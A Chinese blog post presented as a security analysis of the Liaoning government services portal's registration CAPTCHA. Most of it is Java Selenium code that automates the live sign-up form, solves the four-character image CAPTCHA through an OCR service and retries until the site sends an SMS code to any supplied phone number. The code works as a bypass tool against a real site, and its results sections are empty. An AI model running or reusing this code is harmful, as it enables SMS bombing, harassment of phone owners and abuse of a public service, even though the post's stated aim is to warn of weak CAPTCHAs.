【辽宁政务服务网-注册_登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 辽宁政务服务网PC 注册入口

简介:辽宁政务服务网是辽宁省人民政府主办的官方政务服务平台,提供个人、法人及企业在线办理政务服务的统一入口,涵盖办事指南、政策查询、企业开办、投资项目等核心功能。

主要功能

个人服务:包括社保查询、失业金申领、个税汇算等高频事项,支持移动端操作 。

企业服务:提供企业开办一网通办、资质认证、信用查询等服务,按主题分类导航 。

投资项目:集成工程招标、中标查询、信用监管等功能,支持全流程在线办理 。

安全分析:

采用传统的图形验证码方式,具体为4个英文及数字,ocr 识别率在 95% 以上。

测试方法:

采用模拟器+OCR识别

1 模拟器交互部分

java 复制代码
/**
 * 辽宁政务服务网
 *
 */
public class LnZwFw implements SendDriverApi {
	private OcrClientDddd ddddOcr = new OcrClientDddd();
	private static String INDEX_URL = "https://center.lnzwfw.gov.cn/api/web/newids/naturalStep1.htm";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			// 请输入用户名
			WebElement userElement = driver.findElement(By.id("loginAccountName"));
			userElement.sendKeys("test" + System.currentTimeMillis());
			// 请设置您的登录密码
			String pass = "Abc123456!";
			WebElement passElement = driver.findElement(By.id("newPassword"));
			passElement.sendKeys(pass);
			passElement = driver.findElement(By.id("ensurePassword"));
			passElement.sendKeys(pass);

			driver.findElement(By.id("regText")).click();
			Thread.sleep(100);
			WebElement nextElement = driver.findElement(By.id("nextButton"));
			nextElement.click();

			// 1 输入手机号
			WebElement phoneElement = ChromeUtil.waitElement(driver, By.id("mobile"), 10);
			phoneElement.sendKeys(phone);
			
			Thread.sleep(500);
								
			// 2 获取图形验证码
			WebElement imgElement,inCodeElement,  sendElement;
			String imgCode = null, imgSrc = null;
			byte[] imgBytes = null;
			WebElement gtElement = null;
			int count = 0;
			while (count < 5) {
				imgElement = ChromeUtil.waitElement(driver, By.id("verifyCodeImg"), 10);
				imgSrc = (imgElement != null) ? imgElement.getAttribute("src") : null;
				imgBytes = (imgSrc != null) ? GetImage.callJsById(driver, "verifyCodeImg") : null;
				imgCode = (imgBytes != null && imgBytes.length > 100) ? ddddOcr.getImgCode(imgBytes) : null;
				if (imgCode == null || imgCode.length() < 5) {
					// imgElement.click();
					((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);
					Thread.sleep(1000);
					count++;
					continue;
				}
				// 3 输入图片验证码
				inCodeElement = driver.findElement(By.id("vcode"));
				ChromeUtil.clearbackSpace(inCodeElement);
				inCodeElement.sendKeys(imgCode);
				
				WebElement tipElement = ChromeUtil.waitElement(driver, By.id("phoneOccupied"), 10);
				if(tipElement!=null){
					System.out.println("tip="+tipElement.getText());
				}
				// 4 判断是否正确
				sendElement = driver.findElement(By.id("sendsmscode"));
				((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);
				gtElement = ChromeUtil.waitElement(driver, By.xpath("//input[@id='sendsmscode' and contains(@value,'秒后重新获取')]"), 50);
				if (gtElement == null) {
					Thread.sleep(500);
					count++;
					continue;
				}
				break;
			}
			Thread.sleep(500);
			String gtInfo = (gtElement != null) ? gtElement.getAttribute("value") : "";
			retEntity.setMsg("imgCode:" + imgCode + "(" + count + ")->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("秒后重新获取")) {
				retEntity.setRet(0);
				ddddOcr.saveFile(this.getClass().getSimpleName(), imgCode, imgBytes);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			if (driver != null)
				driver.manage().deleteAllCookies();
		}
	}

2 获取图形验证码

java 复制代码
public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl);
				return null;
			}
			int len = (bigImage != null) ? bigImage.length : -1;
			if (len < 0) {
				System.out.println("getImgCode() len=" + len);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);
			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10 * 1000);
			con.setReadTimeout(10 * 1000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
			out = con.getOutputStream();
			out.write(boundarybytesString.getBytes("UTF-8"));
			String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
			paramString += "Content-Type: application/octet-stream\r\n\r\n";
			out.write(paramString.getBytes("UTF-8"));
			out.write(bigImage);

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));
			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}

3 测试返回结果:

4 测试报告 :

二丶结语

辽宁政务服务网是辽宁省人民政府主办的官方政务服务平台,提供个人、法人及企业在线办理政务服务的统一入口,涵盖办事指南、政策查询、企业开办、投资项目等核心功能。 ‌政务服务平台,应该重点关注安全,并且拥有强大的技术资源, 采用的却还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
ulias21241 分钟前
Linux系统中的权限问题
linux·运维·服务器
青花瓷2 小时前
Ubuntu下OpenClaw的安装(豆包火山API版)
运维·服务器·ubuntu
问简2 小时前
docker 镜像相关
运维·docker·容器
Dream of maid3 小时前
Linux(下)
linux·运维·服务器
齐鲁大虾3 小时前
统信系统UOS常用命令集
linux·运维·服务器
Benszen3 小时前
Docker容器化技术实战指南
运维·docker·容器
ZzzZZzzzZZZzzzz…3 小时前
Nginx 平滑升级:从 1.26.3 到 1.28.0,用户无感知
linux·运维·nginx·平滑升级·nginx1.26.3·nginx1.28.0
酿情师4 小时前
整数溢出漏洞详解:网络安全小白从零入门
安全·web安全
qq_260241234 小时前
将盾CDN:威胁情报驱动的网络安全防御新范式
安全·web安全
一叶知秋yyds5 小时前
Ubuntu 虚拟机安装 OpenClaw 完整流程
linux·运维·ubuntu·openclaw